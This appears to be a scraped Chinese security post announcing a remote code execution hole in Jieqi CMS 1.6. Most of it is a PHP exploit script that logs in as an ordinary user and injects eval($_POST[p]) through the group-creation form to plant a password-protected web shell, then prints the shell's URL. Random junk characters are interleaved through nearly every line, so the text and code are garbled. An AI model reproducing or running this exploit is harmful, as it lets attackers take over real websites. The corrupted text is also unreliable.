杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。/ `# ]! s2 ?& R9 x: ]0 Q! S* e8 U% _
. E4 M* b( z: t8 c5 U
3 |! ^! l# X; X- g' @: Z: n( ]. Q
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。/ K' S s! @% N; [& Q
需要有一个能创建圈子的用户。
/ p! [4 h7 t* E 7 `% ~* Q# ]3 Q- w
<?php2 a l6 U1 C9 j3 G+ r
* n' W) L0 X+ z x) `$ Y. H
print_r(', n" d3 a; V* M
+---------------------------------------------------------------------------+
1 l; L0 q) ?8 b5 {0 W# b& mJieqi CMS V1.6 PHP Code Injection Exploit6 o. u) ~& y C f
by flyh4t0 P( t2 F, f, n
mail: phpsec at hotmail dot com- v9 J7 |/ S1 P/ M6 v
team: http://www.wolvez.org
* m* x0 X0 p8 ?% s3 n+---------------------------------------------------------------------------+
0 f* j9 v8 W$ |/ W'); /**
, c1 m+ Y6 U0 L! | * works regardless of php.ini settings# {1 L$ c3 _1 W" @7 C
*/ if ($argc < 5) { print_r('* E6 K# I) ~% ~
+---------------------------------------------------------------------------+; `* k9 `' j8 m& b6 V
Usage: php '.$argv[0].' host path username! r; Q& V# y( ^' K
host: target server (ip/hostname)
) e" i& L( I! p0 w/ opath: path to jieqicms
' q' ?* @; D+ tuasename: a username who can create group
% u! \2 V: l6 _+ j3 C7 j% s" _" HExample:$ F3 k5 M4 a- U, N
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
! D- X9 d4 Q& v+---------------------------------------------------------------------------+
! \3 }! Y4 m3 Q$ l6 X1 P" s: t, {'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
1 e' b# T8 p! R" mContent-Disposition: form-data; name="gname"% f, { H' E; c8 m1 r
3 e2 _: h% N4 |0 r7 C1 {$ C
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t: t0 D, z6 w; G, o, |/ ?* I" Y
-----------------------------23281168279961$ \" L" E; F# t" R* y8 ]" Y
Content-Disposition: form-data; name="gcatid"% F/ E% e. z& B
5 _6 ^0 ^ s; k4 Y
17 C% {% W& \- K. n
-----------------------------23281168279961
: l" B6 i, O% C6 G5 cContent-Disposition: form-data; name="gaudit") Q! I" \& F. N# K* c' E
! u) B( j4 K0 R
1, r5 J& W, ^/ W& Z
-----------------------------23281168279961# p7 @6 y( J3 O+ s
Content-Disposition: form-data; name="gbrief"# [. o# ?2 z8 o' X7 X2 _
9 v' u& k4 O. N# R8 H, K16 |# {5 g: t8 m' @$ W
-----------------------------23281168279961--
4 N- S4 u9 I* A9 ^- b1 U'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com& ]. c" v& I' ^6 |, ]3 H: D8 W
% ^3 L& S" c2 l$ U* x s6 j
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |